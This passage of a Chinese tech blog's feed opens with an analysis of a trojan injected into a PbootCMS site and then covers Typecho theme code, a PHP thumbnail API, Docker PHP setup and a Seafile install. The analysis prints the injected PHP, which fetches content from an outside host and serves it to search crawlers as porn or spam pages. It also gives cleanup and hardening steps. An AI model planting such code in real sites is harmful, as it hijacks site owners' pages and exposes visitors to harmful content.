53
54
55
56
57
58
function remoteRequest($url) {
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_HTTPHEADER => [
            ""X-FORWARDED-FOR: {$_SERVER['REMOTE_ADDR']}"",
            ""X-FORWARDED-HOST: {$_SERVER['HTTP_HOST']}"",
            ""User-Agent: {$_SERVER['HTTP_USER_AGENT']}"",
            ""Referer: "".(isset($_SERVER['HTTP_REFERER'])?$_SERVER['HTTP_REFERER']:'')
        ]
    ]);
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return ($httpCode == 302) ? ""302"" : $response;
}

function checkProxy() {
    // 国内常见爬虫IP段检测（已脱敏处理）
    $proxyRanges = ['61.135.*','123.125.*','111.206.*'...];
    $clientIP = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
    return in_array(substr($clientIP,0,strrpos($clientIP,'.')), $proxyRanges);
}

// 主攻击逻辑
error_reporting(0);
chmod(__FILE__, 0444); // 设置文件只读

$requestPath = $_GET['s'] ?? $_SERVER['REQUEST_URI'];
if(strpos($requestPath, 'vod-') !== false) {
    $maliciousUrl = ""https://carefu.link/link.php?dir=/index.php?vod-&host="".$_SERVER['HTTP_HOST'];
    $response = remoteRequest($maliciousUrl);
    
    // 动态内容篡改
    $response = str_replace([
        '/detail-', 
        '/type-', 
        '/play-'
    ],[
        '/index.php?vod-detail-',
        '/index.php?vod-type-',
        '/index.php?vod-play-'
    ], $response);

    header(""Content-Type: text/html; charset=utf-8"");
    if(!in_array($response, [""302"",""0""])) {
        echo $response;
        ob_flush();
        flush();
        exit;
    }
    http_response_code(404);
    header(""Location: /"");
    exit;
}

简单分析，可以看到这个病毒不同以往，隐蔽性要强很多，当然，清理起来也没有太大难度，只需要将该部分恶意代码删除即可，附上原始的/core/start.php文件代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
/**
 * @copyright (C)2016-2099 Hnaoyun Inc.
 * @author XingMeng
 * @email hnxsh@foxmail.com
 * @date 2016年11月5日
 *  内核启动文件，请使用入口文件对本文件进行引用即可
 */

// 引入初始化文件
require dirname(__FILE__) . '/init.php';

// 入口检测
defined('IS_INDEX') ?: die('不允许直接访问框架内核启动文件！');

// 启动内核
core\basic\Kernel::run();

安全防护

搞清楚攻击逻辑后，防御起来也很简单，通过分析PbootCMS源码目录结构，将apps、config、core、template​这几个目录以及index.php的写权限禁用掉即可。

]]> https://careful.fyi/posts/1743584134/ 2025-04-02T08:55:34.000Z 今天检查站点的时候，发现其中一个站点使用搜索引擎蜘蛛模拟访问时跳转到了色情网站，查看了下原代码，被挂马已经有一段时间了，相较以前遇到的木马病毒，这个病毒做的很隐蔽，作为管理者，很容易忽视，以下是木马核心文件以及分析，希望能为搜到这篇文章的你提供帮助。

 用PbootCMS制作的站点被挂木马分析及清理 2026-02-28T05:24:44.000Z 谨行 Typecho 按年输出归档页面这个功能，网上能检索到现成的代码，但对于移植主题复杂的 html 结构而言实现起来太过繁琐，以下是网上找到的代码，在此基础上进行修改太过烧脑，遂尝试使用更优雅的方式，html 结构更清晰，方便主题移植时候根据原始 html 结构进行适配。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
  Typecho_Widget::widget('Widget_Contents_Post_Recent', 'pageSize='.
  Typecho_Widget::widget('Widget_Stat')->publishedPostsNum)->to($archives);
  $date_y=0;$date_m=0;$output = '';$huan=0;
  while($archives->next()){
    $date_t = explode("","", date('Y,m,d', $archives->created));
    if($date_y > $date_t[0]){
      $date_m  = 0;
      $article_nums[] = $article_num;
      $output .= '</ul></li></ul>';
    }
    if($date_y != $date_t[0]){
      $date_y  = $date_t[0];$article_num=0;
      $article_flag[] = $tmp_flag = 'archives_'.$huan++;
      $output .= '<h2>'.$date_y.' <span>×'. $tmp_flag .'</span></h2><ul>';
    }
    $output .= '<li><time>'.$date_t[1].'.'.$date_t[2].'</time> <a href=""'.$archives->permalink.'"">'.$archives->title.'</a> <sup><a href=""'.$archives->permalink.'#comment"">'.$archives->commentsNum.'</a></sup></li>';
    $article_num++;
  }
  $article_nums[] = $article_num;
  $output .= '</ul></li></ul>';
  echo str_replace($article_flag, $article_nums, $output);
?>

首先需要把以下代码放入 functions.php ​中，在 Cherry 主题中测试没什么 BUG。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
// 文章归档
class AnnualArchive extends Typecho_Widget
{
    private $_groupedYears = [];

    public function execute()
    {
        $posts = $this->widget('Widget_Contents_Post_Recent', [
            'pageSize' => 9999,
            'status' => 'publish'
        ]);

        $this->_groupedYears = $this->processPosts($posts);
    }

    private function processPosts($posts)
    {
        $grouped = [];
        $posts->to($posts);
        
        while ($posts->next()) {
            $post = $posts->row;
            $created = $post['created'];
            $timestamp = ($created instanceof Typecho_Date) 
                        ? $created->time 
                        : (is_numeric($created) ? $created : 0);

            $year = date('Y', $timestamp);
            $monthDay = date('m-d', $timestamp);

            if (!isset($grouped[$year])) {
                $grouped[$year] = [
                    'count' => 0,
                    'posts' => [],
                    'year' => $year
                ];
            }

            $grouped[$year]['posts'][] = [
                'title' => $posts->title,
                'permalink' => $posts->permalink,
                'date' => $monthDay
            ];
            $grouped[$year]['count']++;
        }

        krsort($grouped);
        return $grouped;
    }

    public function getArchiveData()
    {
        return $this->_groupedYears;
    }
}

这一段代码放置到需要的地方，例如归档页面模板，html 结构根据需求来修改就好了。

1
2
3
4
5
6
7
8
9
10
11
12
<?php $archive = $this->widget('AnnualArchive'); $years = $archive->getArchiveData();?>
<?php foreach ($years as $yearData): ?>
<div class=""mod-archive-name""><?php echo $yearData['year']; ?></div>
<ul class=""mod-archive-list"">
<?php foreach ($yearData['posts'] as $post): ?>
<li>
<time class=""mod-archive-time text-nowrap me-4""><?php echo $post['date']; ?></time>
<a href=""<?php echo $post['permalink']; ?>"" title=""<?php echo $post['title']; ?>""><?php echo $post['title']; ?></a>
</li>
<?php endforeach; ?>
</ul>
<?php endforeach; ?>
]]> https://careful.fyi/posts/1742261616/ 2025-03-18T01:33:36.000Z Typecho 按年输出归档页面这个功能，网上能检索到现成的代码，但对于移植主题复杂的 html 结构而言实现起来太过繁琐，以下是网上找到的代码，在此基础上进行修改太过烧脑，遂尝试使用更优雅的方式，html 结构更清晰，方便主题移植时候根据原始 html 结构进行适配。 主题移植小记：Typecho按年输出文章归档 2026-02-28T05:26:04.000Z 谨行 在移植大叔的 Cherry 主题过程中，发现 WordPress 版本有一项功能是文章内容中插入其他文章的卡片，直接删掉该模块有些可惜，遂研究了下该如何实现，检索后发现已经有短代码插件可以使用，但不太符合需求，所以考虑利用 functions.php ​文件来实现，预览效果如下文章卡片。

[post id=”11”]

首先得捋清楚需求，在编辑文章过程中，可以通过插入形如 [post id=""10""] ​这样的短代码，在文章进行解析时，将匹配到的短代码转化为文章卡片，根据图中的内容可以知道，文章卡片中需要调取 ID 为 10 的文章中的文章标题、文章链接、文章摘要、文章缩略图这些字段，直接贴出完成代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
// 文章短代码
Typecho_Plugin::factory('Widget_Abstract_Contents')->contentEx = array('ShortcodeParser', 'postCard');

class ShortcodeParser
{
    public static function postCard($content, $widget)
    {
        $pattern = '/\[post\s+id=[""\']?(\d+)[""\']?\]/i';
        return preg_replace_callback($pattern, function($matches) {
            return self::buildPostCard($matches[1]);
        }, $content);
    }

    private static function buildPostCard($cid)
    {
        try {
            $db = Typecho_Db::get();
            $options = Typecho_Widget::widget('Widget_Options');
    
            $post = $db->fetchRow($db->select('title', 'text', 'slug', 'created', 'modified')
            ->from('table.contents')
            ->where('cid = ?', intval($cid))
            ->where('type = ?', 'post')
            ->where('status = ?', 'publish')
            ->limit(1));
    
            if (!$post) return '文章不存在';
    
            // 根据路由配置动态选择生成方式
            $routeExists = (bool)Typecho_Router::get('post');
            $permalink = $routeExists 
                ? Typecho_Common::url(
                    Typecho_Router::url(
                        'post', 
                        [
                            'slug' => $post['slug'],
                            'category' => self::getFirstCategory($cid)
                        ]
                    ),
                    $options->siteUrl
                )
                : $options->siteUrl . '?cid=' . $cid;

            
            $excerpt = self::getExcerpt($post['text'], 50);
            $thumb = $options->Thumb . '?url=' . self::getPostThumb($cid, $options) . '&w=200&h=140';
    
            return <<<HTML
            <div class=""post_go"">
                <div class=""post_left"">
                    <img decoding=""async"" src=""{$thumb}"" alt=""{$post['title']}"">
                    <div class=""post_info"">
                        <div class=""post_name_h2"">{$post['title']}</div>
                        <p>{$excerpt}</p>
                    </div>
                </div>
                <a class=""post_url"" href=""{$permalink}"">阅读全文
                    <i class=""bi bi-arrow-right ms-2""></i>
                </a>
            </div>
            HTML;
        } 
        catch (Exception $e) {
            return '文章加载失败：'.$e->getMessage();
        }
    }    

    private static function getFirstCategory($cid)
    {
        $db = Typecho_Db::get();
        return $db->fetchRow($db->select('slug')
            ->from('table.metas')
            ->join('table.relationships', 'table.relationships.mid = table.metas.mid')
            ->where('table.relationships.cid = ?', $cid)
            ->where('table.metas.type = ?', 'category')
            ->limit(1))['slug'] ?? '';
    }
    
    private static function getExcerpt($text, $length)
    {
        $cleanText = trim(strip_tags($text));
        return Typecho_Common::subStr($cleanText, 0, $length, '...');
    }

    private static function getPostThumb($cid, $options)
    {

        $uploadBase = defined('__TYPECHO_UPLOAD_URL__') 
        ? rtrim(__TYPECHO_UPLOAD_URL__, '/') 
        : $options->siteUrl;
        
        $default = $options->Image ?? '';
    
        $db = Typecho_Db::get();
        $attachments = $db->fetchAll($db->select('text')
            ->from('table.contents')
            ->where('parent = ?', $cid)
            ->where('type = ?', 'attachment'));
    
        foreach ($attachments as $attach) {
            $meta = unserialize($attach['text']);
            if (isset($meta['mime']) && strpos($meta['mime'], 'image/') === 0) {
                return Typecho_Common::url($meta['path'], $uploadBase);
            }
        } 
        return $default;
    }    
}

上面是 functions.php ​中的代码，将该段代码放入主题的 functions.php 文件中，当文章内容中有类似 [post id=""10""] ​的内容就会被解析成如下 html 结构。

1
2
3
4
5
6
7
8
9
10
11
12
<div class=""post_go"">
<div class=""post_left"">
<img decoding=""async"" src=""{$thumb}"" alt=""{$post['title']}"">
<div class=""post_info"">
<div class=""post_name_h2"">{$post['title']}</div>
<p>{$excerpt}</p>
</div>
</div>
<a class=""post_url"" href=""{$widget->permalink}"">阅读全文
<i class=""bi bi-arrow-right ms-2""></i>
</a>
</div>

注意：在文章缩略图的函数中，因为个人使用的原因，是通过 getPostThumb() ​从获取文章第一个图片附件，若附件中无图片则调用主题设置中的 Image 字段设置作为默认缩略图，你可能需要在主题中加入如下配置项。

1
2
$Image = new Typecho_Widget_Helper_Form_Element_Text('Image', NULL, NULL, _t('默认缩略图'));
$form->addInput($Image);

实际使用该段代码时，你可能会发现文章列表中使用 <?php $this->excerpt(100, '...'); ?> ​输出的摘要部分会存在形如 [post id=""10""] ​的短代码，如果介意的话可以将下面代码加入 functions.php ​中，并在文章列表循环中使用 <?php echo clearExcerpt($this->excerpt); ?> ​来输出摘要。

1
2
3
4
5
6
7
8
9
10
11
// 摘要过滤
function clearExcerpt($content, $max_length = 150) {
    $clean = preg_replace('/\[[^]]+\]/', '', $content);
    $clean = strip_tags($clean);
    
    $clean = htmlspecialchars_decode($clean);
    $clean = str_replace(['“', '”'], '""', $clean);
    
    $clean = preg_replace('/\s+/', ' ', $clean);
    return Typecho_Common::subStr($clean, 0, $max_length, '...');
}
]]> https://careful.fyi/posts/1742198990/ 2025-03-17T08:09:50.000Z 在移植大叔的 Cherry 主题过程中，发现 WordPress 版本有一项功能是文章内容中插入其他文章的卡片，直接删掉该模块有些可惜，遂研究了下该如何实现，检索后发现已经有短代码插件可以使用，但不太符合需求，所以考虑利用 functions.php 主题移植小记：给Typecho添加短代码功能 2026-02-28T05:27:03.000Z 谨行 基于PHP实现的缩略图API在Github上有现成的，但过于老旧，遂用DeepSeek写了一个，基于PHP的GD扩展实现，支持域名白名单，本地缓存，临时文件隔离，过期缓存文件清理，需要在配置中修改域名白名单及缓存文件存放目录。

考虑到所使用服务器存储空间有限，故加入了缓存清理机制，缓存逻辑：在调用api时，有1%的概率触发缓存清理流程，会自动清理/cache/目录下留存时间大于30天的文件，同时加入了容错机制，如果当前请求传入的图片链接被清除，则会重新生成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<?php
// 配置部分
define('ALLOWED_DOMAINS', ['careful.fyi', 'static.careful.fyi']); // 允许的域名白名单
define('CACHE_DIR', __DIR__ . '/cache/');        // 缓存目录
define('TMP_DIR', __DIR__ . '/temp/');            // 临时文件目录
define('MAX_CACHE_AGE', 2592000);                 // 30天缓存有效期（秒）
define('CACHE_CLEAN_PROBABILITY', 1);            // 1% 的清理概率
define('MAX_IMAGE_SIZE', 5242880);                // 最大图片尺寸5MB

// 初始化目录
@mkdir(CACHE_DIR, 0755, true);
@mkdir(TMP_DIR, 0755, true);

try {
    // 验证参数
    $url = $_GET['url'] ?? null;
    $width = isset($_GET['w']) ? intval($_GET['w']) : null;
    $height = isset($_GET['h']) ? intval($_GET['h']) : null;

    // 基础参数验证
    if (!$url || !$width || !$height) {
        throw new Exception('Missing parameters', 400);
    }

    // 验证尺寸参数
    if ($width <= 0 || $height <= 0 || $width > 4096 || $height > 4096) {
        throw new Exception('Invalid dimensions', 400);
    }

    // 验证URL合法性
    $parsedUrl = parse_url($url);
    if (!$parsedUrl || !isset($parsedUrl['host'])) {
        throw new Exception('Invalid URL', 400);
    }

    // 域名白名单验证
    if (!in_array($parsedUrl['host'], ALLOWED_DOMAINS)) {
        throw new Exception('Domain not allowed', 403);
    }

    // 生成缓存文件名
    $cacheKey = md5($url . $width . $height);
    $extension = pathinfo($parsedUrl['path'], PATHINFO_EXTENSION);
    $cacheFile = CACHE_DIR . $cacheKey . '.' . ($extension ?: 'jpg');

    if (file_exists($cacheFile)) {
        // 概率性触发缓存清理（不影响当前请求）
        if (rand(1, 100) <= CACHE_CLEAN_PROBABILITY) {
            cleanCache($cacheKey); // 修改清理函数避免删除当前文件
        }
        
        // 再次检查缓存文件是否存在
        if (file_exists($cacheFile)) {
            sendImage($cacheFile);
            exit;
        }
        // 如果文件被清理，继续生成流程
    }

    // 下载远程文件到临时目录
    $tmpFile = downloadImage($url);
    
    // 生成缩略图
    generateThumbnail($tmpFile, $cacheFile, $width, $height);
    
    // 清理临时文件
    @unlink($tmpFile);
    
    // 发送生成的图片
    sendImage($cacheFile);

} catch (Exception $e) {
    http_response_code($e->getCode() ?: 500);
    header('Content-Type: application/json');
    echo json_encode(['error' => $e->getMessage()]);
    exit;
}

// 辅助函数

function downloadImage($url) {
    $context = stream_context_create([
        'http' => [
            'timeout' => 15,
            'header' => "User-Agent: ThumbnailGenerator/1.0\r\n"
        ]
    ]);
    
    $data = file_get_contents($url, false, $context);
    if (!$data) {
        throw new Exception('Failed to download image', 500);
    }
    
    if (strlen($data) > MAX_IMAGE_SIZE) {
        throw new Exception('Image too large', 413);
    }
    
    $tmpFile = tempnam(TMP_DIR, 'img_');
    file_put_contents($tmpFile, $data);
    return $tmpFile;
}

function generateThumbnail($srcPath, $destPath, $width, $height) {
    list($srcWidth, $srcHeight, $type) = getimagesize($srcPath);
    
    // 创建图像资源
    switch ($type) {
        case IMAGETYPE_JPEG:
            $image = imagecreatefromjpeg($srcPath);
            break;
        case IMAGETYPE_PNG:
            $image = imagecreatefrompng($srcPath);
            break;
        case IMAGETYPE_GIF:
            $image = imagecreatefromgif($srcPath);
            break;
        default:
            throw new Exception('Unsupported image type', 415);
    }

    // 计算比例并进行居中裁剪
    $ratio = max($width/$srcWidth, $height/$srcHeight);
    $cropWidth = $width / $ratio;
    $cropHeight = $height / $ratio;
    
    $src_x = ($srcWidth - $cropWidth) / 2;
    $src_y = ($srcHeight - $cropHeight) / 2;
    $thumb = imagecreatetruecolor($width, $height);
    
    // 处理透明背景
    if ($type == IMAGETYPE_PNG || $type == IMAGETYPE_GIF) {
        imagecolortransparent($thumb, imagecolorallocatealpha($thumb, 0, 0, 0, 127));
        imagealphablending($thumb, false);
        imagesavealpha($thumb, true);
    }
    
    imagecopyresampled(
        $thumb, $image,
        0, 0,
        $src_x, $src_y,
        $width, $height,
        $cropWidth, $cropHeight
    );

    // 保存图像
    imagejpeg($thumb, $destPath, 100);
    imagedestroy($image);
    imagedestroy($thumb);
}

function sendImage($path) {
    if (!file_exists($path)) {
        throw new Exception('Image not found', 404);
    }

    $mime = mime_content_type($path);
    $lastModified = filemtime($path);
    $etag = md5_file($path);

    header('Content-Type: ' . $mime);
    header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $lastModified) . ' GMT');
    header('ETag: ' . $etag);
    header('Expires: ' . gmdate('D, d M Y H:i:s', time() + MAX_CACHE_AGE) . ' GMT');
    readfile($path);
    exit;
}

// 缓存清理函数
function cleanCache($excludeKey = null) {
    $now = time();
    foreach (glob(CACHE_DIR . '*') as $file) {
        // 排除当前正在使用的缓存文件
        if ($excludeKey && strpos($file, $excludeKey) !== false) {
            continue;
        }
        
        if (is_file($file) && ($now - filemtime($file)) > MAX_CACHE_AGE) {
            @unlink($file);
        }
    }
}
?>

调用格式：[api地址]?url=[图片地址]&w=[宽度]&h=[宽度]，示例：

1
https://api.careful.fyi/thumbnail.php?url=https://careful.fyi/upload/images/thumbnail.jpg&w=840&h=420
]]> https://careful.fyi/posts/1716019672/ 2024-05-18T08:07:52.000Z 基于PHP实现的缩略图API在Github上有现成的，但过于老旧，遂用DeepSeek写了一个，基于PHP的GD扩展实现，支持域名白名单，本地缓存，临时文件隔离，过期缓存文件清理，需要在配置中修改域名白名单及缓存文件存放目录。

考虑到所使用服务器存储空间有限，]]>

基于PHP-GD实现的单文件图片缩略图API 2026-02-28T05:28:36.000Z 谨行 GD 是 PHP 中的一个图像处理扩展，在生成缩略图时需要用到，但使用的 php:7.4-fpm-alpine ​中并未预装，尝试使用 docker-php-ext-install gd ​安装失败，经过查阅资料后终于成功安装上，记录如下。

更换国内镜像源

因为使用的是国内服务器，apline 官方源访问很慢，所以更换成阿里云的源。vi /etc/apk/repositories ​将其中的域名更换成 mirrors.aliyun.com​，这里以 php:7.4-fpm-alpine ​镜像为例。

1
2
https://mirrors.aliyun.com/alpine/v3.15/main
https://mirrors.aliyun.com/alpine/v3.15/community

安装相关依赖

1
apk add --no-cache --update curl openssl libpng-dev libjpeg-turbo-dev freetype-dev libzip-dev unzip

安装 GD 扩展

1
docker-php-ext-configure gd --with-freetype --with-jpeg && docker-php-ext-install gd

安装完成后需重启 Docker 容器，可以查看 PHPINFO 来验证是否安装成功。

]]> https://careful.fyi/posts/1693107500/ 2023-08-27T03:38:20.000Z GD 是 PHP 中的一个图像处理扩展，在生成缩略图时需要用到，但使用的 php:7.4-fpm-alpine ​中并未预装，尝试使用 docker-php-ext-install gd ​安装失败，经过查阅资料后终于成功]]> 给Docker中的PHP-FPM镜像安装GD扩展 2026-02-28T05:29:33.000Z 谨行 最近在逛 NodeSeek 时，看到网友分享的阿里云通过自定义镜像 156 块购买 5 年云服务器的办法，但存储只有 1G，使用 Docker 部署后存储空间太小，所以考虑直接用包管理来安装 Caddy2+PHP-FPM 来部署 Typecho 博客。

更换国内镜像源

因为使用的是国内服务器，apline 官方源访问很慢，所以更换成阿里云的源。vi /etc/apk/repositories ​将其中的域名更换成 mirrors.aliyun.com，这里使用的是 Alpine v3.15 版本。

1
2
https://mirrors.aliyun.com/alpine/v3.15/main
https://mirrors.aliyun.com/alpine/v3.15/community

安装软件包

因为服务器内存只有 512MB，所以直接使用的 Sqlite，没有安装 Mysql 扩展，其他扩展(例如 memcached)可根据需求来增删。

1
apk add php7-common php7-curl php7-ctype php7-fpm php7-fileinfo php7-gd php7-mbstring php7-pdo_sqlite php7-pecl-memcached php7-session php7-tokenizer php7-json php7-openssl openssl ca-certificates caddy memcached curl

配置 PHP-FPM

编辑 /etc/php7/php-fpm.d/www.conf ​文件，修改如下：

1
2
3
4
5
6
7
8
user = caddy
group = caddy

listen = /var/run/php-fpm.sock

listen.owner = caddy
listen.group = caddy
listen.mode = 0660

配置 Caddy2

配置文件如下，写的比较简单，没有配置缓存等 header 信息：

1
2
3
4
5
carefu.link {
root * /public/home
file_server
php_fastcgi unix//var/run/php-fpm.sock
}

开机自启动

1
2
3
rc-update add caddy
rc-update add php-fpm7
rc-update add memcached

启动服务

1
2
3
rc-service caddy start
rc-service php-fpm7 start
rc-service memcached start

配置文件权限

安装 Typecho 过程中，需要修改 /public/home ​文件夹权限，避免安装过程中目录不可写。

1
chown caddy:caddy -R /public/home
]]> https://careful.fyi/posts/1684295227/ 2023-05-17T03:47:07.000Z 最近在逛 NodeSeek 时，看到网友分享的阿里云通过自定义镜像 156 块购买 5 年云服务器的办法，但存储只有 1G，使用 Docker 部署后存储空间太小，所以考虑直接用包管理来安装 Caddy2+PHP-FPM 来部署 Typecho 博客。

 在Alpine环境下使用包管理部署Typecho博客 2026-02-28T05:30:27.000Z 谨行 使用 Seafile 已经好几年，日常中使用它来同步照片、同步 Enpass 的密码库、存储历史文档，6.X 版本持续运行几年也未发生问题，因为备案政策越来越繁杂等原因，不得不重新购置一台海外服务器来重新部署一下 Seafile，由于 Seafile7 以上版本对 Python 版本要求提高到 3.X，图省事系统镜像就直接选用了 CentOS 8，由于服务器中已安装其他服务，未避免出现不可预知的问题，这里选择手动安装，觉得麻烦的可以使用 Seafile 官方提供的一键安装脚本。

安装 Seafile

我选择将 Seafile 安装到 /usr/local/seafile ​目录，可根据实际需求进行修改，本次安装版本为 8.0.7（2021-08-29），可前往 Seafile 官网下载页面获取最新版本下载链接。

1
2
3
4
5
6
mkdir /usr/local/seafile
cd /usr/local/seafile
wget https://seafile-downloads.oss-cn-shanghai.aliyuncs.com/seafile-server_8.0.8_x86-64.tar.gz
tar -xzf seafile-server_*
mkdir installed
mv seafile-server_* installed

安装相关依赖

如使用 Sqlite 安装，依赖组件中的 mysql 部分可不进行安装。

1
yum install python3 python3-setuptools python3-pip python3-ldap python3-devel gcc gcc-c++ -y pip3 install --timeout=3600 django==2.2.* future Pillow pylibmc captcha jinja2 sqlalchemy==1.4.3 psd-tools django-pylibmc django-simple-captcha

用户配置

为避免安全隐患，建议使用非 Root 账户运行 Seafile，这里创建名为“seafile”的账户执行后续安装。因为仅个人使用的原因，这里选择轻量级的 Sqlite 数据库进行安装。

1
2
3
4
5
useradd --system --comment ""seafile"" seafile --home-dir  /usr/local/seafile
chown seafile:seafile -R /usr/local/seafile
su seafile
cd /usr/local/seafile/seafile-server-*
./setup-seafile.sh

初始化 Seafile

完成以上安装步骤后，可以尝试初次启动 Seafile，确保 Seafile 能够正常运行的同时对 Seafile 进行创建管理员账号等初始化操作。

1
2
./seafile.sh start 
./seahub.sh start

如无问题，Seafile 及 Seahub 服务应该能正常启动，如果遇到启动失败，可尝试执行 ./seahub.shstart-fastcgi ​查看无法正常启动的原因。新版 Seafile 的 8000 端口默认监听在 127.0.0.1 地址上，无法通过 IP+ 端口的方式进行访问，需要配置 Nginx 反向代理，或者修改 Seafile 安装目录下 conf 中的 gunicorn.conf.py ​文件，将监听地址由 127.0.0.1:8080 改为 0.0.0.0:8080。
完成安装后，记得执行 su root ​切换回 Root 账户，为避免权限问题造成的麻烦，后续配置将在 Root 账户下进行。

配置 Nginx​

这里提供一份 Nginx 配置示例文件，可以根据实际情况修改 server_name、ssl_certificate、ssl_certificate_key、access_log、error_log 以及 media 路径，如果不需要 Webdav 服务，可删除配置文件中的 seafdav 部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
server {
    listen 80;
    server_name cloud.careful.fyi;
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl http2;
    server_name cloud.carefu.link;

    # SSL
    ssl_certificate /usr/local/nginx/conf/ssl/carefu.link.cer;
    ssl_certificate_key /usr/local/nginx/conf/ssl/carefu.link.key;
    ssl_trusted_certificate /usr/local/nginx/conf/ssl/certificate.cer;

    # Security Headers
    add_header X-XSS-Protection ""1; mode=block"" always;
    add_header X-Content-Type-Options ""nosniff"" always;
    add_header Referrer-Policy ""no-referrer-when-downgrade"" always;
    add_header Content-Security-Policy ""default-src 'self' http: https: data: blob: 'unsafe-inline'; frame-ancestors 'self';"" always;
    add_header Permissions-Policy ""interest-cohort=()"" always;
    add_header Strict-Transport-Security ""max-age=31536000; includeSubDomains; preload"" always;

    location / {
        proxy_pass http://127.0.0.1:8000;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Host $server_name;
        proxy_set_header X-Forwarded-Proto https;

        access_log /data/wwwlogs/seahub.access.log;
        error_log /data/wwwlogs/seahub.error.log;

        proxy_read_timeout 1200s;
        client_max_body_size 0;
    }

    location /seafhttp {
        rewrite ^/seafhttp(.*)$ $1 break;
        proxy_pass http://127.0.0.1:8082;
        client_max_body_size 0;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_connect_timeout 36000s;
        proxy_read_timeout 36000s;
        proxy_send_timeout 36000s;
        send_timeout 36000s;
    }

    location /seafdav {
        proxy_pass http://127.0.0.1:8080/seafdav;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Host $server_name;
        proxy_set_header X-Forwarded-Proto $scheme;
        proxy_read_timeout 1200s;
        client_max_body_size 0;

        access_log /data/wwwlogs/seafdav.access.log;
        error_log /data/wwwlogs/seafdav.error.log;
    }

    location /media {
        root /usr/local/seafile/seafile-server-latest/seahub;
    }
}

修改完 Nginx 配置文件后使用 nginx -t ​验证配置文件，如无报错，执行 systemctl restart nginx ​重启 Nginx。现在，你可以使用域名访问 Seafile，使用初始化时设置的账号密码登录后点击右上角进入系统管理，这里需要对设置中的 SERVICE_URL 和 FILE_SERVER_ROOT 进行修改，参考如下：

1
2
https://careful.fyi #SERVICE_URL 
https://careful.fyi/seafhttp #FILE_SERVER_ROOT

配置开机启动

这里需要在 /etc/systemd/system/ ​目录下创建名为 seafile.service ​和 seahub.service ​的 systemd 服务管理文件。

seafile.service

1
2
3
4
5
6
7
8
9
10
11
12
[Unit] Description=Seafile # add mysql.service or postgresql.service depending on your database to the line below 
After=network.target  

[Service] 
Type=oneshot 
ExecStart=/usr/local/seafile/seafile-server-latest/seafile.sh start 
ExecStop=/usr/local/seafile/seafile-server-latest/seafile.sh stop 
RemainAfterExit=yes 
User=seafile 
Group=seafile  

[Install] WantedBy=multi-user.target

seahub.service

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[Unit] 
Description=Seafile hub 
After=network.target seafile.service

[Service] 
# change start to start-fastcgi if you want to run fastcgi 
ExecStart=/usr/local/seafile/seafile-server-latest/seahub.sh start 
ExecStop=/usr/local/seafile/seafile-server-latest/seahub.sh stop 
User=seafile 
Group=seafile 
Type=oneshot 
RemainAfterExit=yes  

[Install] 
WantedBy=multi-user.target

设置开机启动服务

1
2
systemctl enable seafile.service 
systemctl enable seahub.service

配置 Webdav

修改 Seafile 安装目录下 conf 中的 seafdav.conf ​文件，参考如下，其中 share_name 部分可根据实际需求进行修改，注意同时需要修改 Nginx 配置文件中的相应部分。

1
2
3
4
[WEBDAV] 
enabled = true 
port = 8080 
share_name = /seafdav

配置完成后，需执行 ./seafile.shrestart ​重启 Seafile 服务。

配置 Memcached

事实上，仅个人使用是无需配置 Memcached 缓存的，但这台服务器本身已有 Memcached 服务为博客提供缓存，便顺手为 Seafile 进行配置。需要修改 Seafile 安装目录下 conf 中的 seahub_settings.py 文件，将以下内容加入其中。

1
2
3
4
5
6
7
8
9
10
CACHES = {
    'default': {
        'BACKEND': 'django_pylibmc.memcached.PyLibMCCache',
        'LOCATION': '127.0.0.1:11211',
    },
    'locmem': {
        'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
    },
}
COMPRESS_CACHE_BACKEND = 'locmem'

保存文件后，记得执行 ./seahub.shrestart ​重启 seahub 服务。现在，你可以安心的享受 Seafile 为生活、工作带来的便利了。
